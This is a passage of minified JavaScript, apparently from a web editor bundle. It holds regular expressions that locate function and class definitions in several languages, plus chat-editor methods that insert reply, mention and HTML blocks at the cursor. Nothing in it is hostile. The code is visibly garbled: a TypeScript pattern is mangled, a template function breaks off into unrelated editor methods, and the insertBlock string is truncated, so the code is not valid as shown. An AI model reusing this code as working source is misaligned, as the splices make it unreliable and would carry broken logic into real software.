function-var"},{"reg":/\s+([_\w\$\.]+)\s*=\s*\(.*?\)(:.*?)?\s*=>\s*\{/g,"regName":/\s+([_\w\$\.]+)\s*=\s*(\(.*?\))\s*/,"regIndex":1,"regNameAll":[1,2],"type":"function function-var"},{"reg":/\s*function[\*\s]+([_\w\$]+)\s*\(.*?\)\s*\{/g,"regName":/\s*function[\*\s]+([_\w\$]+)\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-define"},{"reg":/\s*([_\w\$]+)\s*:\s*function\s*\(.*?\)\s*\{/g,"regName":/\s*([_\w\$]+)\s*:\s*function\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"},{"reg":/\s*([_\w\$]+)\s*:\s*\(.*?\)(:.*?)?\s*=>\s*\{/g,"regName":/\s*([_\w\$]+)\s*:\s*(\(.*?\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"},{"reg":/(^|\s+|;|,|\}|\{)class\s+([_\w\$]*)\s*.*\{/g,"regName":/class\s+([_\w\$]*)\s*.*\{/,"regIndex":1,"type":"class"},{"reg":/((\{\s*)|(\}\s*)|(\*\/\s*))(\/\*.*?\*\/)?(static\s+)?((?!(for|if|while|with|catch))[_\w\$]+)\s*\(.*?\)\s*\{/g,"regName":/([_\w\$]+)\s*(\(.*\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"}],a=[{"reg":/(\}|^|\n)\s*([\w\-\.#\&\*\^_\$\s\:\>\+,@\(\)]+)\s*{/g,"regName":/(,?)\s*([\w\-\.#\&\*\^_\$\s\:\>\+,@\(\)]+)\s*{/,"regIndex":2,"regNameAll":[2],"type":"function"}];t["default"]={"php":[{"reg":/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,"regName":/.*function\s+(.*\))/,"regIndex":1,"typeExtents":{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},"type":"function"},{"reg":/\s*class\s+(\w*)\s*.*\{/g,"regName":/\s*class\s+(\w*)\s*.*\{/,"regIndex":1,"type":"class"}],"css":a,"less":a,"sass":a,"javascript":n,"typescript":_.concat(n,[{"reg":/\s*function\s+([_\w\$]+)\s*\\[\]\.&,:-]*\)\s*\{/g,"regName":/\s+(\w+)\s*\(/,"regIndex":1,"type":"function"},{"reg":/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s*(\w+)::~?(\w+)\s*\(/,"regIndex":2,"type":"function function-define"},{"reg":/\s*class\s+(\w+)\s*:/g,"regName":/\s*class\s+(\w+)\s*:/,"regIndex":1,"type":"class"}]}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='";this.insertHtml(t)},"insertReply":function(e,t){var i='data-node="param" data-key="reply" data-value="'+t+'" class="chat-block-reply"';this.insertBlock(e,i)},"insertAt":function(e,t){var i='data-node="param" data-key="at" data-value="'+t+'" class="chat-block-at"';this.insertBlock(e,i)},"insertBlock":function(e,t){var i='";this.insertHtml(i)},"insertText":function(e){var t=this.parent.toHtmlEditor(e);this.insertHtml(t)},"insertHtml":function(e){this.focus(),this.trigger("insertHtml",e),this.insertHtmlAdd(e),this.$input.trigger("change"),this.trigger("change",e),this.scrollToCursor()},"insertHtmlRun":function(t){if($.browserIS.uc)return this.insertHtmlAdd(t);var i=!1;try{i=document.execCommand("insertHTML",!1,t)}catch(e){}i||this.insertHtmlAdd(t)},"insertHtmlAdd":function(e){if(document.selection&&"Control"!=document.selection.type)return document.selection.createRange().pasteHTML(e);if(this.range||(this.focus(),this.setRange()),this.selection){var t=this.range.createContextualFragment(e),i=t.lastChild;this.range.deleteContents(),this.range.insertNode(t),this.range.setStartAfter(i),this.selection.removeAllRanges(),this.selection.addRange(this.range),this.focus()}},"setRange":function(){if(this.selection=null,window.getSelection){var e=window.getSelection();this.selection=0